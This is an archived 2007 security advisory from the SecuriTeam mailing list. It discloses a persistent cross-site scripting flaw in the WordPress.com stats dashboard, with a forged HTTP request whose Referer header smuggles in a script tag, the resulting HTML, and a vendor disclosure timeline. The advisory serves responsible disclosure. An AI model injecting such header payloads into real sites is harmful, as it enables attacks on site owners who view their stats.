

[NEWS] Persistent Cross-Site Scripting in Wordpress.com Dashboard

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-06/msg00029.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 21 Jun 2007 20:01:28 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Persistent Cross-Site Scripting in Wordpress.com Dashboard

SUMMARY

On May 6th, 2007 a "new WordPress plugin called 'stats' was released. This plugin allows a WordPress user who has his blog self-hosted to use the Wordpress.com statistics. The plugin includes a JavaScript on the blog page to collect statistics from visitors. This statistics include page viewed, search engine keywords, if used, and referrer as well". The referrer field is taken from the HTTP header generated by the user with his browser. So it's a user-input and it is possible therefore to tamper with it.

DETAILS

This is a snip of code taken from the stats page of Wordpress.com dashboard.

```
..  
<a  
href='http://www.referersite.it/?q=2'>http://www.referersite.it/?q=2</a>  
..
```

If an attacker creates an HTTP request like this, an alert box will be

[NEWS] Persistent Cross-Site Scripting in Wordpress.com Dashboard

displayed when the blogger reads his stats:

```
GET http://www.somewpblog.com/ HTTP/1.1
Host:www.siteofblogger.com
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.3)
Gecko/20070309 Firefox/2.0.0.3
Accept:text/xml,application/xml,application/xhtml+xml,text/html;
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Connection:keep-alive
Referer:http://www.e.it'</a><script>alert(/My XSS/)</script><a href='
```

On the stats page this HTML code will be written:

```
..
<a href='http://www.miosito.it'></a><script>alert(/My XSS/)</script><a
href=">http://www.miosito.it'></a><script>alert(/My XSS/)</script><a
href='</a>
..
```

Analysis:

An attacker could forge the HTTP Referrer so to inject inside it some Javascript code aiming to create a persistent cross-site scripting (XSS).

In order to exploit this vulnerability, an attacker can simply request a page controlled by stats plugin and send a special HTTP header. No interaction from the victim is needed.

Disclosure Timeline:

14/05/2007 – Vendor notified
XX/05/2007 – Vendor silently fixed the bug
13/06/2007 – Vendor recontacted
13/06/2007 – Vendor response
19/06/2007 – Public disclosure

ADDITIONAL INFORMATION

The information has been provided by <<mailto:matteo@xxxxxxxxxxxxxxxx>>
Matteo Carli.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.